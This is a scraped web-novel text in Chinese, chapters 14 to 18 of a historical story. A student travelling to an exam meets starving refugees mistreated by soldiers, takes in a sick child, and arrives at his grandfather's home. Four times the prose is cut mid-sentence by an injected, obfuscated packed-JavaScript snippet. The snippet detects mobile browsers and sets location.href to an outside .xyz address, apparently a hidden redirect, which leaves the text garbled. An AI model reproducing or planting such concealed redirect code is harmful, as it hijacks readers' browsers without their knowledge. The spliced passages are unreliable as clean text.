这四个月,不仅仅是段之缙在用功读书,沈白蘋也如饥似渴地汲取着知识。那些“经世致用”的道理,那些“继往开来”的抱负,不仅仅是段之缙获得了,她也获得了。 但正因为懂得,所以痛苦。 数不清有多少个夜晚,她总梦着自己是一个男人,推开了沉重的门走出去。有些时候是游侠,惩恶扬善,事了之后拂身而去,深藏身与名;有时候是微芥小官,能够近抚黎民、教化百姓;也或许只是一个农民,每日里扛着锄头下地干活,一颗颗饱满的麦子就是对她最大的奖赏。 可是一觉醒来,还是困在深深的宅院里,每天过着同样的日子。 若就这么一觉睡下去,倒也未尝不是一件好事。 而今天段之缙的话,叫沈白蘋心如擂鼓。 能跟他说吗?他会答应吗? 深深的院子逼疯了一个又一个的女人,沈白蘋想要的是更广大的天地。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14913810|160152||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她艰涩地启唇,游移不定地开口,若是二爷不说话,那今夜的一切也权当做是在做梦。 “我想……若君为韩世忠,我为梁红玉。” 段之缙听见这个请求,也算是意料之外情理之中。沈白蘋的学识比自己强不少,只是输在不能出门看这世间水土,若生而为男子或者是二十一世纪的女子,定然前程远大。因而沉思一会儿,郑重回道:“若我为韩世忠,君为梁红玉。” 这一句轻轻的话掉在沈白蘋心头,叫她几近堕泪。她的人生是一路向下的,幼时在外祖家教养,锦衣玉食倒是其次,最开心的是家里的兄弟姐妹一齐去学堂。后来渐渐长大,回了沈家谈亲事,外祖给自己安排的是户部侍郎家的二公子,比之自己长两岁,已经中了秀才,可父亲贪图聘礼将自己嫁给了段家。刚进段家门的时候,还能说是琴瑟和鸣,舅姑带自己都和蔼可亲,可怎么外祖母一去世,杨家被抄家便全都便了个样呢? 可现在,这样的好事,其他的女子此生难遇的好事就这样轻飘飘落在头上,而段之缙还在说着以后的事儿。 “我听说,你舅家被抄家后回了淮宁,这次启程,我想跟太太说,把你也带上,我们一块儿去看望一下,你意下如何?” 沈白蘋激动到极处甚至失语,段之缙也没等得她的回答便接着说道:“不过这只是我一时的想法,若是太太不同意便难说了,你不必抱太大的希望,省得明日太失望了。” “只要二爷还想着我和舅舅便好,倘若太太不同意,二爷到了去看望一下舅舅给我来信也是成的。” “这是自然。” 这场对话落下帷幕,段之缙沉沉睡去,徒留下沈白蘋一人辗转反侧,夜不成寐。 第二天不用上课,段之缙还是温习了一些功课,等着天大亮了才穿上棉衣,外边裹上莲青色鹤氅,内里是猞猁狲的皮毛,十分暖和,再回头看,沈白蘋也已经装扮好,耳尖赤红的珊瑚耳坠更称的面容如雪似玉。 携手去了主院,太太刚用完早饭,有一搭没一搭地听着他们说话,等着段之缙说道要带着沈白蘋一起去安平看望她的舅舅时,脸色便不太妙了。 “你是去考试的,带着她做什么?杨家是罪臣之家,还是不去为好。” “虽是罪臣之家,但毕竟有姻亲之谊,而且我们只是过去走亲戚罢了,并无什么妨碍。” 王虞不耐烦地摆摆手,“好了好了,我不与你争辩,你想去便去,左右我做母亲的管不住你,但是你媳妇留下来伺候我。” “便是女子,出门探亲也是常理,为何太太不许我带着蘋儿呢?” “哼。”王虞发出一声讥笑,“你跟个大闺女一样大门不出二门不迈的,住在我的致知斋里要什么有什么,哪里知道山东玉平已经连着两年大旱,刚到皇城根的那批流民也要在这个时候被官兵强制遣送回去呢?” “你想带着你媳妇就带着吧,无论我怎么给你雇人,遇上了流民你带着一个女人,怎么样我也难说。” 15.第十五章 路遇流民 段之缙和沈白蘋面面相觑,他们的确如太太所言,大门不出二门不迈,外边有什么事儿也不会去同他们说,恐耽误了他们上进的心。 王虞拿着茶杯浅嘬了一口,“你放心好了,我也不是什么活阎王,你喜欢这个媳妇我就给你留着,不会去欺负她的。施姨娘我也给你看顾好,只要你好好上进,她也是过的好日子。” 段之缙回头看看沈白蘋,只见她微微点头,也不再和嫡母争辩,低头应下。 王虞这才满意地一笑,又说起来这一路的安排,“你是个金玉一样的宝贝疙瘩,从来没自己一个人出过远门,因而昨日我都跟秦先生嘱咐好了,今天再跟你嘱咐一遍,千万要记得母亲的话。” “这次去安平,你们的路赶得急,不知会不会遇到被赶回玉平的灾民。他们都是官兵控制住的,看见了也别害怕,记得给他们的头儿一些酒水钱,叫他们也看护着你。自然,母亲还给你雇了镖局,都是拿真刀真枪的汉子,王家雇他们护镖已经十几年了,很信得过,你可别摆什么读书人的架子,没事儿在马车上读书,下了马车谦虚谨慎些,要走什么路,要何时走都听镖头的话。” 王虞喋喋不休,从如何赶路一直到每天吃什么,在哪吃都安排得明明白白,段之缙也仔细认真地听,没有一点儿烦躁。 话说到最后,王虞一盏水都喝完了,神情变得惆怅,“我早就差人给父亲母亲去了信,等到了安平,秦先生会带着你去王家住下,你外祖会照顾你的。”说到此处,她的眼里都含着泪,想起了幼时承欢膝下的好光景,父慈子孝,姐妹兄弟之间友爱非常。 “缙儿,到了安平拜见过你的外祖,记得给我来信,说说两位老人家现在身子如何,精神头还足吗?这十几年再也没见过面,不能尽孝,万望你能记得,替你的母亲磕一个头。” 段之缙看着泪眼朦胧,强忍着不叫泪滴下的嫡母,心中实在不是滋味。他该怨恨嫡母,可若是不转生在这个家里,嫡母供给吃喝,外边闹着灾自己又当如何是好?又得知了父亲的为人和母亲的遭遇,他实在可怜这个女人。 “你也要记得你姨娘的亲爹娘,他们亦是你的外祖家,给姨娘来信说一说,她也时时刻刻不能忘呢……” “儿子记住了。” 王虞咬着下唇别过头,用帕子擦净了泪,心痛之下也顾不得脸上胭脂斑驳,损了她的体面。 “去吧,去吧……跟你的姨娘说说话。” 底下的小夫妻二人爬起来去了偏房,姨娘正急得来回踱步,刚看见儿子和儿媳便快步凑上去,可定定看了一眼,也不知道能说些什么,该叮嘱的太太定然都叮嘱了,她这个亲娘也没有别的话能叮嘱,最后捏着两个人的手,问道:“明天,就要走了?” “是。” 姨娘又摸摸他的脸,“一下子都长这么大了,你刚生下来的时候,还不及姨娘的小臂长,姨娘天天抱着,一刻都不敢撒手,如今竟然也要一个人出门了。” 段之缙看着她又悲又喜,和妈妈一样的面容如此慈爱地看着自己,刚才压抑的心情更是难受,倏忽间掉下泪来,被施姨娘嘲笑着擦去了。 “姨娘,你别担心,太太都嘱咐好了,儿子定然一路顺风地去,平平安安地回来。” “缙儿,别人都祝你早日高中,但是姨娘觉得,就算不能中也无所谓,你只要能平安回来,回到京里,姨娘和太太就能把心放在肚子里了。蘋儿你也放心,太太不会为难她的。” 恳切叮嘱、殷殷期盼,第二天段之缙先去给段成平磕了头,便携着女眷们的点点泪水,上了马车,厚重的大门被抛在身后,回首望去,竟然也开始舍不得了。 而段之缙的怀里,是一厚摞的银票,烫的人皮肉都要化掉。 “段少爷,外边的风大,还是把头缩回去吧。”车旁骑马的苗虎镖头看他还伸着头回望,赶紧提醒他保暖,若是这一路上病了,麻烦的还是自己。 段之缙来到此世也算是头一回出门在外,处处小心,对着苗镖头一笑,立马缩回了马车。 马车里并非样样都有,供给读书却也十分充足了,秦先生把书本摆到段之缙的面前,自己给自己点上了烟草,猛地吸了一口,“好了,如今在路上也要安心读书了,等着到了客栈,咱们就结束,你稍微歇一歇晚上也要夜读。” 段之缙称是,师生两个立马就行动了起来,在晃悠悠的马车上,接着研习八股文字和朝代史书,一刻也停不得。 出了京也没有几日,蔚蓝的天空便飘下雪来,北风席卷着霜雪扑打在马车上,四周传来咚咚的声音。 段之缙惊疑地问道:“先生,这个车不会被吹跑了吧?” 秦先生头也不抬一下,大拇指和食指撵着手中的书页随口安慰:“放心好了,先生每年都是这个时候回安平,从没出过事。” 段之缙稍放下了心,又安静读起书来,可没一会儿,马车忽地停住,因为惯性的作用,他差点从椅子上载下来。 外边是一片嘈杂,又有金属碰撞的冷声滚进耳朵,段之缙刚要打开马车门,却被秦先生拦下。 “不要轻举妄动,先听!” 外边模模糊糊地传进来镖头苗虎和一个陌生男人的交谈之声。 “军爷,我们家少爷是要回淮宁安平县考县试的,是正经的读书人。” “读书人?去应考带这么多的家丁?还带着刀枪……我看分明是盗匪伪装的,叫他下来!” 段之缙心中懊恼,想着破财消灾,刚拿上那些钱便又被秦先生拦住,“不要把你的书生气弄给当兵的看,下去吧。先生在马车上听着,若你说的话有不合适的地方,我会下去帮你。” 段之缙点点头,脸上挂着一个笑,推开马车的门走了下去。 “军爷!”裹着厚重的毛氅,段之缙从马车上跳下,一打眼就是四五个兵丁站在马车前,他打断还在纠缠的两人,笑道:“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14913811|160152||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 军爷,您误会了不是?我们真是去淮宁应考的,只是母亲慈爱,放心不下学生,才派了这好些人跟着我。麻烦你们过来查看,实在是对不住了。”段之缙语气里全是歉意,从怀中拿出来一张五十两的银票送给为首的士兵,又说道:“这些银子就当做是给兄弟们的酒钱,大冷天的喝些也能暖暖身子。” 为首的兵丁表情怪异,先回头跟一个跟班说了些什么,才笑纳了银两,那跟班转头往前路去了,他还带着剩下的人站在原处。 “这么冷的天,路上不好过吧?”为首之人开始有一搭没一搭地说话,眼神绕着段之缙来回扫视,定在他的大毛氅上,段之缙了然,犹豫了一会儿开始解衣服,却听得马车轻响,回头一看,原来是秦先生下来了。 “天冷赶路确实不好走,他父母亲又极是关爱,担心他出了差错,因而叫了这么多的人护持。没办法,当爹的即便身为吏部员外郎,家里这些宝贝疙瘩也总归放心不下,何况这还是有出息的孩子呢?” 那兵头头吃了一惊,疑道:“他爹是吏部员外郎?” 段之缙看着秦先生的示意一拱手,回道:“家父段成平,正任吏部员外郎。” 那人表情惊疑不定,但还是让开了去,皱着眉说道:“马车跟在我后边,带着你去见见我们长官。” 这是为何?段之缙刚要询问,秦先生便摇了摇头,“别上马车,跟着他去。” 段家一行人便跟着那几个兵丁走,可短短十几分钟的路程,几要把段之缙的心肠震碎。 哀鸿遍野…… 风吹雪打,树上都挂着冰溜子,男女老少面黄肌瘦地坐在地上,两眼暴突。他们衣衫褴褛,面颊深深凹下去,连动也动不得,若妄动便会有兵丁上来叱骂,只能双目无神的坐着,等着风把身上仅剩下的一点儿热乎气吞走。 已经不忍心看了,段之缙别过脸问秦先生:“这是罪犯吗?其中如何还有幼儿?” “哼……”秦慎之冷笑,“这些人是前不久从山东玉平逃灾到京城的灾民……” “……那批流民也要在这个时候被官兵强制遣送回去……”太太的话猛然闯进段之缙的脑海中,他回首低声道:“他们……都要返回玉平吗?” “自然。” “朝廷的赈灾粮已经送到玉平了?当地的官员也已经开始施救了?” “这谁知道呢?即便是赈灾了,想来也无甚效果,咱们出城的时候,你呆在马车上,可外边行走的,是从玉平来的灾民。” 段之缙看着麻木的人躺在地上,明明冷到了极点,可连看看自己身上的棉衣的力气都没有。 “军爷……” “作甚!” “何不让这些人起来走动一番呢?这样身子也还能暖和暖和,能保下一条命来。”段之缙强提起一个好脸色跟前头的士兵说话,希望能叫这些灾民舒服些。 可前头带路的士兵回头哂笑一声,一句话没说。 16.第十六章 率兽食人 “无知小儿,还不快快住嘴!”秦先生狠狠给了段之缙后背一巴掌,蓬松的大氅里贮存的空气被噗的一声挤出来,无论是前边的小兵还是周围的流民,没有一个人给出半点反应。 秦先生轻叹一口气,低声道:“只看,不要说话,等见着了他们的长官,只说你的父亲是谁即可。” 段之缙默默点头,厚实的皮靴子踏在雪里,沙沙作响。 也没走太长时间,前头突然出现了几十个全副武装的士兵,带头的那个人看着段之缙一行人往他们的营地走,赶上前来疑道:“陈哥,怎么不留在原地?带到千总跟前儿脏了咱们的地界儿。” “哼,夏小狗,人家是吏部老爷的儿子哩,要干你自己去干!” “吏部老爷的儿子?别是唬我们吧?”那个叫夏小狗的兵士上前来打量一番,段之缙站在原地镇定自若,任他打量。 陈哥从后边猛地推了夏小狗一把,“你他娘的,快走吧,叫千总大人跟他说两句。” 一行人便让兵丁领着往前走,终于见到了正在烤火的千总。 火上正架着一个锅,锅里的液体沸腾着,泛着层层的白,像是粥水。 陈哥凑到千总耳边窃窃私语,千总转向段之缙,抬着眼皮问道:“你是吏部员外郎的儿子?” “家父吏部员外郎段成平。” “哦,那你该知道我们兵部的长官是谁吧?” 秦先生上前拱手道:“兵部尚书孙宗夏和他父亲很是友善,曾想跟圣上请旨,叫他父亲调到兵部去。” 千总这时候才有了点儿笑模样,招呼两个人坐下,“我是这渝州府胶合县兵营里的千总王朝勇,咱们这就算是认识了哈!” 秦先生哈哈大笑,席地而坐,“自然自然,在下名讳为秦慎之,是这个谬种的先生,带着他去安平县参加县试。”先生这样说,又硬拉着段之缙坐下,“你这个木楞的东西,也坐下烤烤火吧,别把脑子都冻得木呆呆了。” 王朝勇看这两人一眼,“看来是徒弟不争气,惹了先生的厌了?” “唉,实在是难说啊,这个孩子样样都好,只是父母太宝贝了,一出门便露怯。” 王朝勇将煮熟的粥水递给两人,“男子汉大丈夫,多见见世面就好了。”语罢,他又招弟兄们来喝粥,连带锅底的那点东西也刮干净了,流民们眼巴巴地望着,却没有一个能上前,有些饿得狠了,雪混着泥土就塞到了嘴中。 “怎么不多煮些分给流民?” 王朝勇嗤笑一声,夏小狗咧着嘴嘲讽道:“大少爷,左右不是你来压着他们回玉平,他们吃饱了闹事,也不是你来解决不是?” “那就叫他们在这个冰天雪地中呆坐着?哪怕起来活动活动,起码能苟全性命。” “果然是吏部员外郎的儿子,读书人心善得很。”王朝勇睨了他一眼,“只是你没当过差,不知道当差的难处,他们乱动、逃跑,咱们兄弟还要累死累活地追,岂不知还是这样方便。绵羊一样温顺。” 段之缙紧盯着王朝勇,“若是冻死了待要如何!” “冻死了便冻死了。”秦先生截断了王朝勇的话头,“你能少管些闲事叫先生也放心些吗?不吃粥就给为师,为师还想再喝点热乎的,你上车温书去吧。” 段之缙震惊地看着秦先生,望进他深潭一样汹涌的眸子里,突然意识到了什么,咬紧牙关上了车,闭门读书。 秦先生朝着王朝勇撇撇嘴,“小孩子,不知道人间疾苦,大家都混口饱饭吃就不错了。” 王朝勇笑看了一眼秦慎之,“先生果然是明白人,知道我们兄弟的苦楚。大冷天押送这些猪狗似的东西,到底是不如在营里舒服。便是冻死了,也省得兄弟们的力气,少看管一个人,还填饱了山林里野兽。那个谁,那个谁……”他一时想不起要说的东西,狠狠揪着眉心的那块儿皮冥思苦想了一番,一拍脑袋笑道:“阿弥陀佛!不是说众生平等吗?人吃山林里四脚跑的,四脚跑的吃人又怎么了?”他说完朝四周一看,大家都哈哈大笑起来。 段之缙靠在马车壁上,静静地听着外边的说话声,突然想起了孟子说的“率兽食人”,只不过孟子所言的“率兽食人”只是对苛政的比喻,而外边那群人,却是真的将人填入了野兽的口中。 这方世界,这方世界究竟怎么了? 段之缙捧着书本,里边密密麻麻的全是“仁义礼智信”,可是仁义礼智信在哪里? 也不知过了多久,秦先生上了马车,静静地看着段之缙手中的书一页没翻,轻轻摸了摸他的额头,“今天晚上住到了客栈,先叫店小二给你熬些预防风寒的药……唉,你还是孩子呢,看见这些事情觉得不可思议是正常的……” 秦先生的话音落下,马车里就一片死寂。最后秦先生拍拍他的肩膀道:“你接受不了也是正常,为师如你这般大的时候也接受不了。刚才为师去人群里查看了一番,那些孩童中只有一个男孩儿还活着,你去吧,下去给王朝勇一百两的银票,就说是请他们喝酒,然后说身边跟着的下人不够用,把那个孩子带上跟咱们一块儿走吧。” 段之缙眼睛里这才有了些神采,抽出一张银票攥在手里,下了马车。 “王大哥!”他到底不是年仅十八的孩子,成年人该有的虚以为蛇他都会得很,好像刚才的不愉快没发生,还带着点儿拘谨地凑到王朝勇身边,仿佛真是一个没出过家门的书生,“先生叫我把这一百两银子给大哥,好叫兄弟们喝酒。” 王朝勇拿眼皮挤了他一下,神情自若地接过了银票,“这怎么好意思呢,那我们兄弟就先谢过大少爷了?” “不敢不敢,学生名讳为段之缙,大哥叫我名字即可。弟弟还有一事相求。” “不会是要给这些人吃粮吧?” “自然不是!”段之缙故作羞臊,倒真像是知道自己方才说了多少天真幼稚的话,尴尬地摸了一下鼻子,“先生说我身边少了伺候的人,叫我出来找找有没有愿意 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14922997|160152||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 跟着走的。” 王朝勇看看远处的流民,一个个虚弱地坐在地上,或斜靠着树,有气无力。 “那你去吧,咱这里要钱的东西没有,不要钱的人倒是多得很啊。” 段之缙深深一拱手,回头去流民群中寻找那个还留有一口气的孩子。 他穿着千金大裘,干干净净地走到了衣衫褴褛的人群中,一双双浑浊的眼睛紧随着他。 “我……”话在嗓子眼里,偏还说不出来,这里一个个孩子,都紧贴着大人,闭着眼睛,大多数已经咽了气,爹娘也不敢去看,也不敢去想。 “我来选一个小童,跟着我上车去伺候,虽然也不是什么好去处,但能吃饱穿暖。” 这句话,像一锅滚油泼进了冷水里,人群中立刻炸了锅。 “是、是刚才那位老爷是不是?他摸了我家狗娃的脸,是喜欢我家狗娃的!”一个女人突然有了反应,尖利的声音响彻了整个树林,又踉跄地抱着怀中的孩子上前,也没有发现,怀里的孩子已经冷硬如冰雪了…… 段之缙上去摸了摸孩子不再柔软的脸,艰难地摇摇头,“这个孩子他……他已经没气了,您还是放下吧……” “你胡说!”女人崩溃地嘶吼,“狗娃还活得好好的呢!你不要就不要,狗娃跟着我回玉平,朝廷给我们发赈灾的粮!”这边的骚动已经惊动了兵士,一个小兵拿着一把长枪指准了女人,“你要是再敢大声吆喝,我叫你和你的这个死孩子立刻团圆!” “好了好了……”段之缙压着长枪放下,“她一个妇道人家懂得什么?你何苦跟她置气?” 语罢又朝向人群,艰涩道:“你们先自己看看怀里的童儿,若是还活着,就站起来吧。” 做父母的抓住眼前这个触手可得的生机,终于去查看了怀里的孩子,然后断断续续的,悲痛欲绝的哭声响了起来。 最后,只有一个骨瘦如柴的女人站起来,激动之下甚至说不清话,“我的、我的儿子还活着,我的孩子还活着……” 段之缙上前查看,男孩额上滚烫,脸上通红,他立刻解下了大氅把孩子包住抱在怀里,然后朝四周大喊,“还有吗?我还要几个伺候的小童。” 再也没有人回答他了,只剩下悲怆的哭声,他们舍不得易子而食,甘心抛下家业往京城走,希冀京里的贵人能舍下一口粥水,一粒米,可怎么……怎么孩子还是没了呢?怎么来到了京城,还要回玉平呢? 段之缙抱着孩子,跟身边的小兵小声说,“我要连带着他的母亲一块儿带走。” 那小兵因他给的赏钱那样多,自然无所不应,可他刚要跟那女人开口,秦先生便站在马车外边遥遥地唤,“缙儿,不要做多余的事情,回来吧。” 段之缙着急又不解,可还是抱着孩子回到了马车上。 “你刚才想干什么?”秦先生抱下了孩子,将他平放在马车上,王章忙前忙后的给小孩儿用冰帕子擦身降温,又出去借着官兵的火煮了药。 17.第十七章 狐死首丘 “学生想连他的母亲也带走。” “那你要不再多带上别人呢?不患寡而患不均,你带上了这个女人,别的人自然也想跟着你,势必会惹出来骚乱,你想亲眼见那些当兵的杀人吗?我叫你下去要一个小童,是因为只有这一个小童还活着。”秦慎之直勾勾地盯着段之缙的脸,面无表情地说。 “你是知道这些道理的。” 是的,段之缙知道,可他作为一个现代人,如何能眼睁睁地看着母子分离,看着流民死在眼前。 这方世界,兵也不是兵,他所认识的兵,不会把武器对准百姓。人也不是人,他所认识的人,不会眼睁睁看着同胞冻死饿死,自己守着一锅热粥嬉笑,最后反而觉得,和自己同种的生物可以喂给林间野兽。 这里的世界,官民之间的差别,比物种都大。 正在段之缙沉默静思的时候,秦先生突然开口,“你知道你犯了什么错误吗?” “学生何错之有?” 秦先生叹着气笑道:“你啊你,你从一开始出了马车门就是错的。为师是不是说了,不要漏出来你的学生气?” 段之缙疑道:“学生如何漏出来了学生气?” “你还不学生气?你是从五品官员的儿子,是读书人,这些小兵算什么东西?你合该上去给他们一巴掌,还‘军爷’呢!你真是疯了!” “你一张口便先漏了怯!所以先生说你是户部员外郎的儿子之时,他们犹疑万分。” 段之缙不解,“这些兵士,上来问问罢了,何故去打他们呢?” 秦先生把发热没那么严重的孩子包好抱在怀里,王章小心地将汤药往其嘴中灌。。。 “兵匪、兵匪,这些当兵的都是下等人,做兵做匪都未可知的……你道刚才那个被唤做‘陈哥’的小兵在打量些什么?你身上这件儿大氅?孰不知他们已经去叫了其他兵丁,准备把咱们杀干净,东西全都据为己有。” 段之缙真是吃了一惊,回想起“陈哥”和“夏小狗”的私语,半路突然汇合的兵士,又是什么待在原地,又是什么“脏了咱们的地界儿”,其险恶用心已经不言而喻。 “何至于此啊!” 秦先生面上俱是讥诮,“这就是为什么我叫你下去应对,等到你出了错再来提醒你。先生知道你忘了很多很多,这四个多月其实一直都生活在世外桃源里。但是出了家门,你要摆好自己在人间的地位。你不是什么无名小卒,也不是普通的读书人,你是吏部员外郎之子,淮宁巨富的外孙,你父亲官职虽小升迁无望,拿到外边也不是唬人的。” “你自己也要硬气起来,圆滑固然没有错,可是你得对着该圆滑的人圆滑,该冷硬的时候就要冷硬,否则就正如那个小兵一样,等你反应过来想要冷硬的时候,人家的刀枪已经架在了脖子上。” “学生……学生谨记先生教诲。” 师生两人再也没说过一句话,马车停着,然后开始慢慢悠悠地走,速度又渐渐加快,将身后的流民和兵士远远甩开,漫天大雪中,独有几辆马车和护镖的镖师前进着,留下一道道车辙和马蹄印,又被飞舞的雪花尽数遮掩,就如经过的累累白骨,也被野兽拆吃入腹,消失不见。 太阳落了许久的时候,这一行人终于找到了客栈,好歹用上了热水吃了一口热饭,师生二人收拾好后,便守在那瘦弱的小童身边,看着他的情况。 但或许是从没吃过什么正经药,因而下午的苦药汁格外奏效,那孩子还不等得段之缙打开书本,便清醒了过来,一睁眼看见干干净净的床帐和坐在房里的师生,便嚎啕大哭了起来,惊得两个大男人手忙脚乱。 秦先生坐在床旁边搂着孩子,手抚着他的背重复地哄,“莫哭了莫哭了,哭多了,等到明天,眼睛都粘上了,你就再也睁不开眼了。” 他又哄又吓,孩子却是哭得更厉害,哭到肌肉痉挛,手指都抽搐起来。 段之缙急得团团转,突然灵机一动吓唬道:“好孩子,你要是再哭,我可就不带着你去找娘亲了。” 那孩子一听,从秦先生的怀里拱出来,狠狠地捂住自己的嘴,不再漏一点儿哭声出来,等着平息了片刻,才抽抽嗒嗒道:“俺……俺娘没把俺卖了?” 段之缙用自己的帕子擦了擦孩子的眼泪,哄道:“你娘心心念念的全是你,怎么舍得把你卖了呢……你叫什么名字?” 孩子接过段之缙的帕子,自己就擦了起来,然后瓮声瓮气地回道:“俺的小号叫剩子,俺的大号叫冯胜儿。” 说完,剩子就用他占了脸近乎一半的大眼睛看着段之缙,期盼地问道:“大哥,恁啥时候带着俺去找俺娘?” 段之缙筹划了一番语言,才犹豫着开口道:“可是哥哥都不知道你娘在哪,怎么能带着你去找你娘呢?” “俺知道!”剩子兴奋地大喊,“俺娘要带着俺回玉平唻,恁带着俺回玉平,俺就能找到俺娘了!俺家就住在玉平府寿张县的冯家村。” 段之缙心中实在难受,定了定神强拉扯出来一个笑,点点孩子的鼻头,“哥哥知道了,只是哥哥现在有很要紧的事情办,一定要先办了这件事儿才能带着你去找娘。” “那恁啥时候能办完?” “哥哥要去考试的,明年二月要考县试,若是县试过了还要考府试,哥哥也不知道什么时候能办完。” 剩子失望地低着头,秦先生对着这样一个孩子,也不忍起来。 “剩子,别急,大冬天的你娘回了玉平,光养活自己都难,何况还得拉扯着你呢?你先跟着我们吃喝,等着明年春天,朝廷赈灾的粮食一定有了,那时候你回去,你娘也好养活你不是?”秦先生宽大的手掌覆在孩子杂乱的头发上,小心地给他捋顺,结果手上还沾了一个虱子,两个手指一捏就碾死了。 剩子仔细地想了一下,认真地点点头,又突然狐疑起来,问道:“恁不会要俺的饭钱吧?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14922998|160152||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 秦先生听着一愣,狠狠捏了孩子的面皮,笑道:“好机灵一个小鬼,不要你的饭钱,现在叫这个小哥哥带着你吃饭洗漱,等会儿老先生有话要问你。” 剩子乖巧地应了,先叫王章帮着洗了澡,弄干净了身上的虱子和脏污,又好好吃了一顿,饱饭,吃得肚子浑圆,还是王章害怕把孩子撑死了强夺下碗筷,把他带到了二爷读书的屋子,秦先生也在里边坐着。 秦先生招招手,唤剩子过来,摸着他干净的头发问道:“你和你娘,离开玉平的时候,你们村里怎么样了?” 剩子的头低低垂着,“反正没有吃食了,家里的水缸和粮缸都见了底,俺娘才带着俺走了。” “你爹呢?” “俺爹死了,去打猎的时候从山上掉下来,摔断了腿,然后就死了。” 这样一个几岁的孩子,说起生死的事情,已经如同喝水吃饭般稀松平常,即使死的是亲人,他神情也没什么波动。 “你们当地的官员没有发钱发粮吗?” 剩子反倒大吃一惊,“官老爷还发钱发粮呢?俺们没见着唻!” “你们在京城里吃了几日的粥?”秦先生蹙着眉问。 孩子摆着指头数了数,“七天吧,他们就把俺们赶走了。” 两个大人俱沉默了下来,叫王章抱了孩子出去。 “现在是冬日,叫他们回颗粒无收的受灾地去,岂不是逼着他们去死?难道地里能平白无故地冒出来粮食吗!”段之缙气愤到了极点,已经无法用话语来表示自己的愤怒,起身来回踱步,手中的茶碗狠狠扣在桌上,茶水四溅,沾湿了书页。 读书……哪一个当官的不是圣贤书读得好做的官?可圣贤书读了又有什么用呢? 他们做官不赈济灾民,反而逼着灾民去死,道路上就有将人命填在兽口中的官吏。 也怪不得,叫他们衣冠禽兽呢……原来真的全是禽兽。 “缙儿!收收你的心,现在第一要务,不是去可怜谁,而是高中,只有高中了做官才能改变这一切。”秦先生嘴上安慰得好,哄着段之缙安静下来,眼睛重新盯在书本上,心中却是一片森冷。 做官……做官也改变不了这一切的…… 上头的皇帝就是好这一口的皇帝,你心再清,人再正气,有什么用处? 家中逃者方出门,旧年逃者返乡村。归来尚得首丘死,尽荷君王覆载恩…… 即便御座底下已经垒起了层层白骨,谄媚小人还要颂圣,还要夸君主治下清明,赈灾有成效呢! 他最后看了一眼段之缙,拿着自己的烟斗走出寂静的房间,在门口,又点起了棕褐色的烟丝,迷雾笼罩住他的面庞,神色难辨。 烟草叫快乐,暂时遗忘过去的事情,可以那些事儿老是从脑海中窜出来,跑马灯一样演一遍,最后凝成赤裸裸的一句话,“什么时候山陵崩呢?” 只是现在看来,圣上的身子骨还好得很呢…… 18.第十八章 到达安平 南下这一路,先乘车后乘船,领略了山河壮丽、江山如画,可也看到了民生疾苦,吏治腐败。 登岸的这一天,已经是十二月二十三了,正是北方小年,可南北习俗不同,淮宁小年是明天。这天里天空湛蓝一片,几块儿云自由地飘着,天气又不十分寒冷,只是湿津津的难受。 码头上,船只来来往往,川流不息。一艘艘木船满载着货物,从远方驶来,又从这里出发。船夫们搬运货物,也顾不得什么严寒,打着赤膊,呼着白气,在船和岸边来来往往。河面上,船帆如云,桅杆林立,远处传来阵阵号子声,与岸边的喧嚣交织在一起。 果然是商业繁荣的地方,和北方是截然不同的景象。 段之缙一行人下了船,四处张望一下,远处来了一行人,抬着两顶小轿,镖头三步做两步上去搭话,这一行人立刻往段之缙这边走过来。 “这就是二爷吧,我们是您外祖王老爷家的刘管家,老爷收着您寄过来的信,特意叫我们来接秦先生和您的。” 段之缙拱手,“多谢,那我们这就去拜见外祖吧。” 刘管家应声,服侍着秦先生上了前边的轿子,其他的小伙子带着段之缙上后边的轿子,段之缙瞧瞧无所适从的冯胜儿,把他搂在身前,带上了自己的轿子。 轿夫的脚程很快,底盘又稳得很,轿子也没怎么晃悠,很快就到了王家的门口,光在外边看看,便觉一股富贵气象,而王老爷正带着夫人站在门口迎接。 秦先生刚一下轿,王老爷王元浩便赶紧上来寒暄,“秦先生一路辛苦了。” 